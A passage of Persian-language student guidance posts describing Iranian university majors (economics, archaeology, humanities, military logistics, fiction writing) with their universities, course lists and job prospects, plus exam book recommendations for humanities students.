    ۳۹ سازمانهای اقتصادی و بازرگانی بین الملل ۴۰ مالیه بین الملل
    ۴۱ مبانی جامعه شناسی ۴۲ مبانی فقهی اقتصاد اسلام
    ۴۳ نظام اقتصادی صدر اسلام ۴۴ نظامهای اقتصادی

    صنعت و بازار کار
    دانش آموختگان دوره کارشناسی علوم اقتصادی فارغ گرایشی که در آن به تحصیل پرداختند از توانمندیهای لازم برای تجزیه و تحلیل مسائل اقتصادی در زمینه های مختلف صنعتی ، کشاورزی ، بازرگانی و خدمات در سطح کارشناسی بهرمند می گردند . از سوی دیگر دانش آموختگان گرایش اقتصاد حمل و نقل به دلیل بررسی مسائل ویژه حمل و نقل از جمله سرمایه گذاری در توسعه حمل و نقل ، اثرات خدمات حمل ونقل در بهای تمام شده کالاها ، چگونگی حمل و نقل شهری و نقش حمل و نقل در توسعه اقتصادی از توانائیهای لازم برای ارائه خدمات در این زمینه ها در دستگاههای ذیربط بر خوردار هستند . وزارت امور اقتصادی و دارایی ، وزارت بازرگانی ، وزارت راه و ترابری از جمله دستگاههایی هستند که کارشناسان علوم اقتصادی با گرایش اقتصاد حمل ونقل می توانند در آنها به انجام فعالیت و کار مشغول گردند.

  52. مقدمه
    در جهان امروزاقتصادهمه چیز را تحت الشعاع خود قرار داده است . در بسیاری از مسائل اقتصاد حرف اول را می زند به جهت همین اهمیت است که گرایش هایی که در رشته های اقتصادی وجود دارد بخش عظیمی از شئونات زندگی را به خود اختصاص داده است. قبل از توضیح این رشته به تعریفی از فعالیت‌های اقتصادی برای شما بپردازیم تا بفهمیم که علوم اقتصادی چه وظیفه‌ای به عهده دارد. فعالیت اقتصادی مجموعه تلاش‌هایی است که بشر برای رفع نیازهایش از طریق بهره‌برداری و استفاده از منابع طبیعی در اختیارش انجام می‌دهد. بشر در طول حیات خود سعی کرده با تلاش مستمر با شناخت طبیعت و کشف قوانین حاکم بر آن، قوای طبیعی را به استخدادم خود گرفته و از آنها برای بالابردن سطح زندگی خویش استفاده نماید.
    علم اقتصاد علم ارائه بهترین راههاست برای بهره‌برداری از منابع محدود مادی و در نتیجه بالا رفتن سطح زندگی مردم. در واقع ارائه بهترین شکل استفاده از منابع و امکانات به عهده علم اقتصاد است بنابراین می‌توان بطور خلاصه گفت که انسان تلاش می‌کند از منابع محدود و فناپذیر در مدت زمانی طولانی‌تر استفاده کند.
    اندیشه اقتصادی در روزگار ما دچار تحولاتی به درازای عمر انسان شده است تعاریف علوم اقتصادی در جوامع پیشرفته و توسعه یافته آنقدر عمیق گشته که وسعت و عمق ان باعث بوجود آمدن کرسی‌های متعدد درسی و تاسیس مراکز علمی متعدد و پیشرفته‌ای شده است.
    اقتصاد یک علم اجتماعی است که به وسیله آن نیازهای مادی (آموزش، خوراک، پوشاک، مسکن، و اشتغال) و نیازهای عمومی را سازمان می‌دهد. داشتن پایه قوی در زمینه مسائل اقتصادی و هوش آماری و ریاضی بالا از عوامل موفقیت در این رشته است. ضریب درس ریاضی ۴ و ضریب درس تاریخ و جغرافی ۳ می‌باشد. به هر حال علوم اقتصادی جذابیت‌های خود را داراست و امکان ادامه تحصیل در حد دکتری نیز وجود دارد.

    سطوح رشته
    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- ابرکوه *
    ۲ آزاد- اردکان *
    ۳ آزاد- اشکور *
    ۴ آزاد- الیگودرز *
    ۵ آزاد- بابل *
    ۶ آزاد- بهبهان *
    ۷ آزاد- بویین زهرا *
    ۸ آزاد- تهران *
    ۹ آزاد- تهران جنوب *
    ۱۰ آزاد- تهران مرکزی *
    ۱۱ آزاد- خلخال *
    ۱۲ آزاد- خمینی شهر *
    ۱۳ آزاد- دورود *
    ۱۴ آزاد- رفسنجان *
    ۱۵ آزاد- سبزوار *
    ۱۶ آزاد- سلماس *
    ۱۷ آزاد- سیرجان *
    ۱۸ آزاد- شیراز * *
    ۱۹ آزاد- فیروزکوه * *
    ۲۰ آزاد- میانه *
    ۲۱ آزاد- نراق *
    ۲۲ آزاد- کرمانشاه *
    ۲۳ آزاد-آستارا *
    ۲۴ آزاد-اراک *
    ۲۵ آزاد-ارومیه *
    ۲۶ آزاد-بندر عباس *
    ۲۷ آزاد-بوشهر *
    ۲۸ آزاد-مراغه *
    ۲۹ ایلام *
    ۳۰ تبریز *
    ۳۱ خرم آباد *
    ۳۲ رازی کرمانشاه *
    ۳۳ زابل *
    ۳۴ زاهدان *
    ۳۵ شهیدچمران اهواز *
    ۳۶ غیر انتفاعی و غیر دولتی مفید *

    درسهای رشته
    ردیف نام درس ردیف نام درس
    ۱ آشنایی با کامپیوتر ۲ آمار
    ۳ آمار ۱ ۴ آمار ۲
    ۵ آمار ریاضی ۶ آمار عالی
    ۷ آمار عمومی ۱ ۸ ارزیابی طرحهای اقتصادی
    ۹ اصول بازاریابی ۱۰ اصول بیمه
    ۱۱ اصول سازمان و مدیریت ۱۲ اصول مالی و حقوق بازرگانی بین المللی
    ۱۳ اقتصاد انرژی ۱ ۱۴ اقتصاد ایران
    ۱۵ اقتصاد بخش عمومی ۱ ۱۶ اقتصاد بخش عمومی ۲
    ۱۷ اقتصاد بخش عمومی پیشرفته ۱ ۱۸ اقتصاد پولی
    ۱۹ اقتصاد خرد ۲۰ اقتصاد خرد ۱
    ۲۱ اقتصاد خرد ۲ ۲۲ اقتصاد خرد پیشرفته ۱
    ۲۳ اقتصاد خرد پیشرفته ۲ ۲۴ اقتصاد ریاضی
    ۲۵ اقتصاد سنجی ۲۶ اقتصاد سنجی کاربردی
    ۲۷ اقتصاد شهری ۲۸ اقتصاد صنعتی
    ۲۹ اقتصاد محیط زیست ۳۰ اقتصاد مدیریت
    ۳۱ اقتصاد منابع ۳۲ اقتصاد منابع تمام شدنی
    ۳۳ اقتصاد منطقه‌ای ۳۴ اقتصاد نفت و نیرو
    ۳۵ اقتصاد کشاورزی ۳۶ اقتصاد کشورهای جهان سوم
    ۳۷ اقتصاد کلان ۳۸ اقتصاد کلان ۱
    ۳۹ اقتصاد کلان ۲ ۴۰ اقتصاد کلان پیشرفته ۱
    ۴۱ اقتصاد کلان پیشرفته ۲ ۴۲ اکتشاف تولید
    ۴۳ برنامه ریزی اقتصادی ۴۴ بودجه
    ۴۵ پالایش نفت و گاز ۴۶ پایان‌نامه
    ۴۷ پایان‌نامه کارشناسی ارشد ۱ ۴۸ پول و بانکداری
    ۴۹ تاریخ اسلام ۵۰ تاریخ عقاید اقتصادی
    ۵۱ تجارت بین الملل ۵۲ تحقیق عملیات

    صنعت و بازار کار
    فارغ التحصیلان دوره کارشناسی علوم اقتصادی از سطحی از مهارتها و توانمندیها برخوردار می شوند که قادر به تجربه و تحلیل مسائل اقتصادی در زمینه‌های صنعتی، کشاورزی، بازرگانی و خدمات در سطح کارشناسی شوند.
    همچنین آمادگی مشارکت و همکاری در ارائه خدمات برنامه‌ریزی ، ارزیابی و پیش بینی و مشاوره در زمینه‌های مختلف اقتصادی را دارا بوده، صلاحیت احراز مشاغل کارشناسی در مؤسسات دولتی و غیر دولتی را نیز خواهند داشت.

  53. مقدمه

    برنامه آموزشی علوم اقتصادی یکی از برنامه های آموزشی در نظام آموزش عالی جمهوری اسلامی ایران می باشد.
    و دارای ۶ گرایش می باشد این گرایشها عبارتست از:
    ۱٫ اقتصاد نظری
    ۲٫ اقتصاد بازرگانی
    ۳٫ اقتصاد صنعتی
    ۴٫ اقتصاد حمل و نقل
    ۵٫ اقتصاد پول و بانکداری
    ۶٫ اقتصاد کشاورزی، گرایش اقتصاد بازرگانی دارای گرایش بیمه می باشد.
    اهداف کلی آموزشی کارشناسی علوم اقتصادی عبارتند از:
    الف- دیدگاهها و تفکری که منبعث از جهان بینی اسلام و منطبق با اصول و ضوابط مکتب اقتصادی اسلام باشد دریافت کنند.
    ب- مسائل و مشکلات اقتصادی واحدهای بخش عمومی و خصوصی را در مورد بررسی و تجزیه و تحلیل علمی قرار داده، در ارائه طریق با کارشناسان ارشد همکاری کنند.
    ج- در سطوح مختلف مدیریت اقتصادی واحدهای دولتی و غیردولتی با استفاده از تجربیات علمی انجام وظیفه کنند.
    د- بنیه علمی لازم برای ادامه تحصیلات عالیه و کسب تخصص در سطوح بالاتر را تحصیل کنند.
    در جهان امروز اقتصاد همه چیز را تحت الشعاع خود قرار داده است . در بسیاری از مسائل اقتصاد حرف اول را می زند به جهت همین اهمیت است که گرایش هایی که در رشته های اقتصادی وجود دارد بخش عظیمی از شئونات زندگی را به خود اختصاص داده است. قبل از توضیح این رشته به تعریفی از فعالیت‌های اقتصادی برای شما بپردازیم تا بفهمیم که علوم اقتصادی چه وظیفه‌ای به عهده دارد. فعالیت اقتصادی مجموعه تلاش‌هایی است که بشر برای رفع نیازهایش از طریق بهره‌برداری و استفاده از منابع طبیعی در اختیارش انجام می‌دهد. بشر در طول حیات خود سعی کرده با تلاش مستمر با شناخت طبیعت و کشف قوانین حاکم بر آن، قوای طبیعی را به استخدادم خود گرفته و از آنها برای بالابردن سطح زندگی خویش استفاده نماید.
    علم اقتصاد علم ارائه بهترین راههاست برای بهره‌برداری از منابع محدود مادی و در نتیجه بالا رفتن سطح زندگی مردم. در واقع ارائه بهترین شکل استفاده از منابع و امکانات به عهده علم اقتصاد است بنابراین می‌توان بطور خلاصه گفت که انسان تلاش می‌کند از منابع محدود و فناپذیر در مدت زمانی طولانی‌تر استفاده کند.
    اندیشه اقتصادی در روزگار ما دچار تحولاتی به درازای عمر انسان شده است تعاریف علوم اقتصادی در جوامع پیشرفته و توسعه یافته آنقدر عمیق گشته که وسعت و عمق ان باعث بوجود آمدن کرسی‌های متعدد درسی و تاسیس مراکز علمی متعدد و پیشرفته‌ای شده است.
    اقتصاد یک علم اجتماعی است که به وسیله آن نیازهای مادی (آموزش، خوراک، پوشاک، مسکن، و اشتغال) و نیازهای عمومی را سازمان می‌دهد. داشتن پایه قوی در زمینه مسائل اقتصادی و هوش آماری و ریاضی بالا از عوامل موفقیت در این رشته است. ضریب درس ریاضی ۴ و ضریب درس تاریخ و جغرافی ۳ می‌باشد. به هر حال علوم اقتصادی جذابیت‌های خود را داراست و امکان ادامه تحصیل در حد دکتری نیز وجود دارد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- ابرکوه *
    ۲ آزاد- اشکور *
    ۳ آزاد- الیگودرز *
    ۴ آزاد- بابل *
    ۵ آزاد- بهبها ن *
    ۶ آزاد- تهران جنوب *
    ۷ آزاد- تهران مرکزی * ‌
    ۸ آزاد- خمینی شهر * ‌
    ۹ آزاد- دورود *
    ۱۰ آزاد- رفسنجان * ‌
    ۱۱ آزاد- رودهن * ‌
    ۱۲ آزاد- زابل * ‌
    ۱۳ آزاد- سبزوار ‌ * ‌
    ۱۴ آزاد- سلماس * ‌ ‌
    ۱۵ آزاد- سیرجان *
    ۱۶ آزاد- شیراز *
    ۱۷ آزاد- عجب شیر *
    ۱۸ آزاد- فیروزکوه *
    ۱۹ آزاد- میانه *
    ۲۰ آزاد- کرمانشاه *
    ۲۱ آزاد- یزد *
    ۲۲ آزاد-آستارا *
    ۲۳ آزاد-ابهر *
    ۲۴ آزاد-اراک * ‌
    ۲۵ آزاد-ارومیه *
    ۲۶ آزاد-بندر عباس *
    ۲۷ آزاد-بوشهر *
    ۲۸ آزاد-مراغه *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با برنامه نویسی و بسته های کامپیوتری ۲ آشنایی با برنامه نویسی
    ۳ آشنایی با برنامه نویسی و بسته های کامپیوتری بودجه ۴ آمار ۱
    ۵ آمار ۲ ۶ احتمال و استنباط آماری
    ۷ ارزیابی طرحهای اقتصادی ۸ اصول بازاریابی
    ۹ اصول بیمه ۱۰ اصول حسابداری ۱
    ۱۱ اصول حسابداری ۲ ۱۲ اصول حسابرسی
    ۱۳ اصول سازمان و مدیریت ۱۴ اصول مدیریت ریسک
    ۱۵ اقتصاد ایران ۱۶ اقتصاد بخش عمومی ۲
    ۱۷ اقتصاد بخشی عمومی ۱ ۱۸ اقتصاد تعاون
    ۱۹ اقتصاد توسعه ۲۰ اقتصاد حمل و نقل ۱
    ۲۱ اقتصاد خرد ۱ ۲۲ اقتصاد خرد ۲
    ۲۳ اقتصاد رفاه ۲۴ اقتصاد ریاضی
    ۲۵ اقتصاد سنجی ۲۶ اقتصاد شهری
    ۲۷ اقتصاد صنعتی ۲۸ اقتصاد مدیریت
    ۲۹ اقتصاد منابع ۳۰ اقتصاد منطقه‌ای
    ۳۱ اقتصاد نفت و نیرو ۳۲ اقتصاد کار و نیروی انسانی
    ۳۳ اقتصاد کشاورزی ۳۴ اقتصاد کشورهای با برنامه ریزی متمرکز
    ۳۵ اقتصاد کلان ۱ ۳۶ اقتصاد کلان ۲
    ۳۷ بانکداری اسلامی ۳۸ برنامه ریزی اقتصادی
    ۳۹ بودجه ۴۰ بیمه اتکایی
    ۴۱ بیمه های اشخاص ۴۲ بیمه های اموال ۱
    ۴۳ بیمه های اموال ۲ ۴۴ پژوهش عملیاتی
    ۴۵ پول و بانکداری ۴۶ تاریخ عقاید اقتصادی
    ۴۷ تجارت بین الملل ۴۸ تحقیقات بازاریابی
    ۴۹ جامعه شناسی ایران ۵۰ جغرافیای اقتصادی ایران
    ۵۱ جمعیت شناسی عمومی ۵۲ حسابداری صنعتی ۱
    ۵۳ حسابداری شرکتها ۵۴ حسابداری صنعتی ۲
    ۵۵ حسابدرای ملی ۵۶ حقوق بیمه
    ۵۷ حقوق تجارت ۵۸ حقوق مدنی
    ۵۹ حقوق کار و روابط صنعتی ۶۰ روانشناسی عمومی
    ۶۱ روش تحقیق ۶۲ روشهای مقداری در بازرگانی
    ۶۳ ریاضیات ۱ ۶۴ ریاضیات ۲
    ۶۵ ریاضیات ۳ ۶۶ زبان خارجی ۲
    ۶۷ زبان خارجی ۳ ۶۸ ساختار بازار و کارکرد آن
    ۶۹ سازمان و مدیریت صنعتی ۷۰ سازمانهای اقتصادی و بازرگانی بین الملل
    ۷۱ قوانین و مقررات مالیاتی درایران ۷۲ مالیه بین الملل
    ۷۳ مبانی جامعه شناسی ۷۴ مبانی فقهی اقتصاد اسلام
    ۷۵ مدیریت تولید ۷۶ مدیریت صادرات و واردات
    ۷۷ مدیریت مالی ۲ ۷۸ مدیریت پرسنلی
    ۷۹ مدیریت خرید و سفارشات ۸۰ مسائل اقتصادی کشورهای جهان سوم
    ۸۱ موضوعات انتخابی در اقتصاد ۱ ۸۲ موضوعات انتخابی در اقتصاد ۲
    ۸۳ موضوعات انتخابی در اقتصاد ۳ ۸۴ نظام اقتصادی صدر اسلام
    ۸۵ نظامهای اقتصادی

    صنعت و بازار کار
    فارغ التحصیلان دوره کارشناسی علوم اقتصادی از سطحی از مهارتها و توانمندیها برخوردار می شوند که قادر به تجزیه و تحلیل مسائل اقتصادی در زمینه های صنعتی، کشاورزی، بازرگانی و خدمات در سطح کارشناسی شوند. نامبردگان همچنین آمادگی مشارکت و همکاری در ارائه خدمات برنامه ریزی، ارزیابی و پیش بینی و مشاوره در زمینه های مختلف اقتصادی را دارا می باشند ایشان صلاحیت احراز مشاغل کارشناسی در موسسات دولتی و غیردولتی را نیز خواهند داشت.

  54. مقدمه

    همیشه نام ایران و نام باستان شناسی با هم خوب جفت می‌شوند. باستان شناسی تلفیقی از حوصله و هنر است. یک باستان شناس باید اهل هنر و دقت باشد.
    بررسی تاریخی باستان شناسی، محتوای اصلی دروس این رشته است.
    برخلاف رشته کاردانی باستان شناسی (در گروه هنر) که بیشتر به جنبه‌‌های هنری
    باستان شناسی می‌پردازد ، انجام مطالعه و پژوهش در کشوری به پهناوری ایران ضرورت خلق این رشته را بدیهی می‌کند.
    توانائی جسمی و علاقه به کار در طبیعت و همچنین داشتن اطلاعات عمومی در زمینه تاریخ و جغرافی ، از شما دانش‌آموز عزیز دانشجو و استاد موفقی می‌سازد.
    در کنکور سراسری ضریب دروس ریاضی، اقتصاد، تاریخ، فلسفه، ادبیات و منطق ۲ می‌باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- سواد کوه *
    ۲ آزاد- شوشتر *
    ۳ آزاد- مرودشت *
    ۴ آزاد- ورامین پیشوا *
    ۵ آزاد- کازرون *
    ۶ آزاد-ابهر *
    ۷ تهران *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ استخوان شناسی ۲ اسطوره شناسی
    ۳ انقلاب اسلامی و ریشه‌های آن از قرن سیزدهم ۴ ایران در آغاز شهرنشینی
    ۵ باستان شناسی پیش از تاریخ ایران ۶ باستان و هنر ماد و هخامنشی
    ۷ باستانشناسی اشکانی ۸ باستانشناسی ایران درهزاره اول ق.م
    ۹ باستانشناسی پیش از تاریخ بین‌النهرین ۱۰ باستانشناسی ساسانی
    ۱۱ باستانشناسی مصر باستان ۱۲ باستانشناسی و هنر آسیای صغیر
    ۱۳ باستانشناسی و هنر اسلامی ایران ۱ ۱۴ باستانشناسی و هنر اسلامی
    ۱۵ باستانشناسی و هنر اسلامی ایران ۳ ۱۶ باستانشناسی و هنر ایلام
    ۱۷ بررسی تمدن‌های باستانی از نظر قرآن کریم ۱۸ پایان‌نامه
    ۱۹ تاریخ هنر از باستان تا آغاز اسلام ۲۰ تاریخ هنر نقاشی در ایران
    ۲۱ تاریخچه علم باستانشناسی ۲۲ تربیت بدنی ۲
    ۲۳ تربیت بدنی ۱ ۲۴ تکنیک و هنر سفالگری در دوره اسلامی
    ۲۵ جغرافیای تاریخ ایران اصول و مبانی انسان شناسی ۲۶ حفاظت اشیاء باستان
    ۲۷ حفظ آثار باستانی ۱ ۲۸ خطوط باستانی ایران ۱
    ۲۹ خطوط باستانی ایران ۲ ۳۰ روش کاوش و بررسی آثار باستانی
    ۳۱ زبان خارجی ۱ (نظری و عملی) ۳۲ زبان خارجی ۲
    ۳۳ زبان فارسی باستان ۳۴ زبان فارسی میانه
    ۳۵ سیر تحول خطوط و خواندن کتیبه‌ها ۳۶ سکه شناسی و شناخت مهر
    ۳۷ طراحی و ترسیم مدارک ۳۸ فارسی ۱
    ۳۹ فارسی ۲ ۴۰ فرهنگ ایران باستان
    ۴۱ فرهنگ و تمدن ایران از مغول تا صفویه ۴۲ فرهنگ و تمدن ساسانی
    ۴۳ فرهنگ و هنر عهد صفویه ۴۴ فلزکاری در دوره اسلامی
    ۴۵ قالی بافی و نساجی در دوران باستان ۴۶ مبانی تطور انسان
    ۴۷ مبانی زیست شناسی تکوینی ۴۸ مبانی فرهنگی باستانشناسی
    ۴۹ متون اسلامی (آیات و احادیث) ۵۰ معارف اسلامی ۲
    ۵۱ موزه‌داری ۵۲ هنر خاور دور (چین و ژاپن) باستان
    ۵۳ هنر رسانس ۵۴ هنر رمان و گوتیک
    ۵۵ هنر یونان و روم باستان ۵۶ کاوشهای باستان شناسی
    ۵۷ کتاب آرایی

    صنعت و بازار کار
    فارغ التحصیلان این رشته با آموزش‌های نظری و عملی و مهارت‌هایی که در طی کار‌آموزی‌های خود کسب می‌نمایند قادر خواهد بود در انجام مطالعه و پژوهشهای باستان شناسی از شناسائی و بررسی تا گمانه زنی و کاوش باستان شناسی مشارکت داشته، بصورت عضو هیأت‌های پژوهشی و کارشناس همکاری نمایند این فارغ‌التحصیلان به انجام وظیفه در اداره بخش‌ها و واحدهای اداری مربوط در شهرداری‌ها، سازمان ایرانگردی و جهانگردی، سازمان میراث فرهنگی و یا موزه‌های باستانی نیز قادر خواهند بود.

  55. علوم انسانی یا انسانیات بر اساس تعریف آن بر اساس موضوع به دسته‌ای از علوم اطلاق می‌شود که به مسایلی چون جامعه، فرهنگ، زبان، رفتار و کنش انسان، و روان و اندیشهٔ افراد توجه دارد. جامعه‌شناسی، روان‌شناسی، زبان‌شناسی، مدیریت، اقتصاد، علوم سیاسی و تاریخ چند نمونه از رشته‌های علوم انسانی‌اند. همچنین «هر علمی که دربارهٔ جان و جنبه حیات روحانی یا روانی انسان و فرآوده­هایی فکری و معنوی او بحث کند علم انسانی است. پس شامل بحث از ذهن و دماغ (ادراک از زاویه عصب‌شناسی مثلاً) و روان (مانند علم النفس و مباحث روان تنی) احساسات گوناگون (هنرآفرینی و حس زیباشناختی، ادبیات و فرهنگ و…) و پدیده‌های اجتماعی و احوال آن و تدابیر فردی و خانواده و اجتماع و … می‌شود»[۱]

    علوم انسانی درحال‌حاضر دارای دو پارادایم اصلی است: یکی پارادایم «علوم انسانی مدرن» و دوم پارادایم «علوم انسانی جدید» که با نام پست مدرن هم خوانده می‌شود. در «علوم انسانی جدید» با روش‌های عموماً تحلیلی، انتقادی و تفکری ـ تعمقی امور انسانی را مطالعه می‌کنند. این روش‌ها معمولاً در تقابل با روش‌های تجربی در علوم تجربی و علوم انسانی مدرن قرار می‌گیرند. در علوم انسانی جدید، روش بررسی موضوعات و پژوهش پیرامون آن‌ها بیشتر با روش مشاهدهٔ غیرمستقیم است.

    درعین‌حال، بسیاری از شاخه‌های علوم انسانی چون مدیریت، اقتصاد، حسابداری، جغرافیا و روان‌شناسی برای تجزیه و تحلیل از برخی علوم غیرانسانی همچون ریاضیات کاربردی (در مدیریت)، آمارِ کاربردی و تحلیل رگرسیون (اقتصاد و روانشناسی)، GIS و سیستم‌های راداری و سنجش از دور (در جغرافیا) و سایر روش‌های تجربی استفاده می‌کنند.

  56. رشته انسانی

    دانش آموزان رشته انسانی دقت بکنند که ادبیات سوم و زبان فارسی سوم اون ها با ادبیات عمومی تجربی ریاضی ها متفاوته پس برای لغت کتاب کلک معلم رو تهیه بکنن و زبان فارسی هم زبان فارسی انسانی مهر و ماه چون حساسیت راجب منابع انسانی زیاده اینجا متنی راجبش شرح میدم

    علوم اجتماعی
    برای علوم اجتماعی میتونید کتاب آبی کانون رو کار بکنید کتاب خیلی خوبی هستش
    تاریخ و جغرافیا
    از همین ابتدای سال کتاب های سیب مهر ماه که خلاصه نویسی شده هستند استفاده کنید
    ادبیات اختصاصی
    از کتاب گاج نقره ای حتما استفاده کنید+ منبع خلاصه نویسی شده تاریخ ادبیات: سیب مهر ماه
    ریاضیات
    گاج نقره ای در صورت داشتن ضعف آبی کانون
    اقتصاد
    سیب مهر ماه و خیلی سبز رو با هم کار کنید سیب به عنوان درسنامه و خیلی سبز هم به عنوان تست
    روان شناسی
    جامع خیلی سبز کار کنید خیلی کتاب خوبیه
    فلسفه و منطق
    مشاوران آموزش استاد تمنا رو کار کنید
    عربی اختصاصی
    برای عربی اختصاصی عربی اختصاصیِ خیلی سبز رو کار کنید تالیف استاد برغمدی

  57. بهترین منابع کنکورِ انسانی!

    ه دلایل مختلفی بهایی که به رشته علوم انسانی در بین انتشارات داده میشود بسیار کمتر از لیاقت این رشته است! البته در دبیرستان! در دانشگاه با رشته های بسیار فوق العاده ای مانندِ روان شناسی، جامعه شناسی،مدیریت و غیره مواجه هستیم!
    بنابراین در این پست تصمیم گرفتم بهترین منابع کنکور ِ انسانی رو که میتونه شمارو به موفقیت برسونه+چند نکته راجع اون ها بهتون بگم!
    در مورد منابع عمومی صحبت نمیکنیم چون منابع عمومی مشترک هستند و شما میتونید انتخاب خوبی رو داشته باشید! به جز ادبیات و عربی عمومی!

    اکثر دوستان سوال میپرسند که عربی عمومی و اختصاصی مباحثش از کجا طرح میشه؟ عربی عمومی بیشتر مباحث سال دوم و سوم هستش! و عربی اختصاصی مباحث پیش!

    ادبیات عمومی هم متشکل هستش از ادبیات سال دوم! ادبیات سالِ سوم! ادبیات پیش! زبان فارسی سوم! دقت کنید که ادبیات فارسی سالِ سوم با زبان فارسی سالِ سوم تخصصی هستند و منابع دیگر مثل ادبیات جامع های خیلی سبز یا گاج برایشان کاربردی ندارد! ولی برای زبان فارسی پنج بحث ِ انتشاراتی های مختلف که از همان پنج مبحث ِ معروف ِ زبان فارسی هستند میتواند راه گشا باشد!

    پس ابتدا برای ادبیات و عربی عمومی منبع معرفی میکنیم! و دینی و زبان به کنار!

    منابع کامل را در اینجا مشاهده کنید.

  58. ماد(سیستم تامین و توزیع کالا)
    دیباچه: بی‌شک یکی از اصلی‌ترین مأموریت‌های ستاد نیروهای مسلح، برآورد، تأمین و توزیع اقلام مختلف مورد نیاز برای پشتیبانی یگان‌ها (در زمان جنگ و صلح) است. این کار نیاز به متخصصان و کارشناسانی دارد که با مبانی علمی و فنون و فرآیندهای عملی این تخصص آشنا باشند. هدف اصلی رشته آماد تربیت همین دسته از متخصصان است. افرادی که اصول علمی و عملی رسته آماد و موضوعات مرتبط با برآورد، بودجه‌های لجستیکی، تأمین اقلام و توزیع آنها را مطالعه می‌کنند. در واقع دانشجویان این رشته با روش‌های علمی و عملی جمع‌آوری اطلاعات، تجزیه و تحلیل شرایط موجود، برنامه‌ریزی، نظارت و کنترل در موضوعات آماد آشنا می‌شوند و قابلیت انجام کار کارشناسی و اظهار نظر پیرامون موضوعات برآورد، بودجه‌های لجستیکی و تأمین و توزیع اقلام و ارائه آن به مدیران سطوح عالی‌تر و هدایت سطوح پایین‌تر سازمانی در اجرای مؤثر عملیات آمادی را به دست می‌آورند و می‌توانند در چهار رسته فرعی “امور تخصصی آماد”، “تأمین”، “خرید و فروش و برآورد” و “توزیع” فعالیت نمایند.
    توانایی‌های لازم:
    با توجه به این که آماد جزو رشته‌های میان رشته‌ای است، دانشجویان آن باید از توانمندی‌های متنوع و متعددی برخوردار باشند؛ یعنی از یک سو دانشجوی این رشته باید در درس‌های ریاضی و آمار توانمند باشد و قدرت نگارش نسبتاً خوبی داشته باشد و از سوی دیگر باید از روابط ـ اجتماعی خوبی برخوردار بوده و فردی منظم و منضبط باشد. گفتنی است که این رشته فقط از بین داوطلبان مرد دانشجو می‌پذیرد.
    موقعیت شغلی در ایران :
    حیطه فعالیت فارغ‌التحصیلان آماد سپاه پاسداران، ارتش و سایر سازمان‌های نظامی و انتظامی کشور است.
    درس‌های این رشته در طول تحصیل :
    دروس پایه :
    ریاضیات پایه، آمار، اقتصاد عمومی، مبانی علم حقوق، اصول بیمه، گزارش نویسی و مکاتبات نظامی، اصول حسابداری، حسابداری دولتی، اصول تنظیم و کنترل بودجه
    دروس اصلی :
    ریاضیات و کاربرد آن در مدیریت، آمار تخصصی، روش تحقیق، مبانی سازمان و مدیریت، تجزیه و تحلیل و طراحی سیستم‌ها، تحقیق در عملیات، حقوق بازرگانی، جغرافیای اقتصادی ایران، مالیه عمومی و خط مشی مالی دولت، سازمان‌های اداری جمهوری اسلامی ایران، سازمان و تشکیلات نیروهای مسلح ج . ا . ا، بازاریابی و مدیریت بازار، مدیریت لجستیک، قوانین و مقررات مالی، برنامه‌ریزی حمل و نقل، انبارداری و ذخیره‌سازی کالا، کنترل پروژه
    دروس تخصصی :
    زبان تخصصی، کاربرد کامپیوتر در آماد، حسابداری صنعتی، اصول بودجه‌بندی در سازمان‌های نظامی، کنترل موجودی کالا، کنترل کیفیت کالا، طبقه‌بندی و شماره گذاری کالا، سیستم‌های اطلاعاتی مدیریت آماد، عملیات بانکی داخلی و خارجی، اصول و روش‌های برآورد، برنامه‌ریزی توزیع، مدیریت سفارشات خارجی، فنون مذاکره در امور بازرگانی، آشنایی با آئین‌نامه‌ها و دستورالعمل‌های آمادی، آشنایی با استانداردهای ملی، دولتی و نظامی، تعیین فرم‌ها و استانداردها، پشتیبانی آمادی در عملیات نظامی، پروژه، کارآموزی.

  59. دبیات داستانی
    دیباچه: “یکی بود، یکی نبود، غیر از خدا هیچ کس نبود. در روزگار قدیم …” اولین قصه‌ای که برایمان نقل کردند، به این طریق آغاز شد. از همان دوران کودکی کشش و جذبه‌اش را بر ما اعمال کرد، خیال ما را برانگیخت و موجب انبساط خاطرمان شد. از این نظر، قصه‌ها تأثیر عظیمی در ساخت و روند زندگی ما داشته‌اند. از همان آغاز، عادت به داستان خواندن را در ما به وجود آوردند و تخیل ما را نیرو و گسترش دادند. بال‌های خیالمان را بر همه شهرها و کشورها دنیا گستردند. شهرها را به ما شناساندند. ما را با مردمانشان آشنا کردند. خوبی‌هایشان را برای ما گفتند و بدی‌هایشان را لعن کردند. به ما همدردی و برادری و انسان دوستی آموختند. از غم‌ها و رنج‌هایشان غمناک شدیم، از شادی‌ها و کامیابی‌هایشان، شاد شدیم. به ما مزه آرامش، شور و هیجان، صبر و شکیبایی و فراموشی را چشاندند. آموختیم که آدمیزاد خطا پذیر است، خطاها را باید بخشید، آموختیم لذت عفو بیشتر از انتقام است.قصه‌ها به تدریج با ما بزرگ شدند و به تناسب ذهنی ما، پیچیدگی و گسترش و غنای بیشتری یافتند و داستان‌های امروزی را به وجود آوردند. مفاهیم ابدی قصه‌ها، در داستان‌ها تکرار شد، جویبار عظیم زندگی از قصه‌ها سر به داستان‌های کوتاه باز کرد و رمان‌ها همچون اقیانوس‌ها به وجود آمدند.از همین رو یکی از راه‌های آشنایی با فرهنگ اندیشه و آداب و رسوم و تاریخ اجتماعی جامعه ایرانی، آشنایی با متون داستانی و شناخت و کشف سنت‌های غنی داستان‌نویسی است.رشته ادبیات داستانی بنا بر همین ضرورت ایجاد شده است، زیرا به یاری این رشته می‌توان با سیر فرهنگ، اندیشه و عواطف جامعه ایرانی از رهگذر خواندن متون داستانی آشنا شد. و ارتباط میان ادبیات داستانی جدید با سنت‌های داستان‌نویسی قدیم فارسی و چند و چون این ارتباط را کشف کرد و زمینه‌ساز شکوفایی استعدادهای نسل جوان در زمینه خلق آثار هنری داستانی گردید. نسل امروز را با ادبیّات داستانی کهن و معاصر آشنا ساخت.
    توانایی‌های لازم :
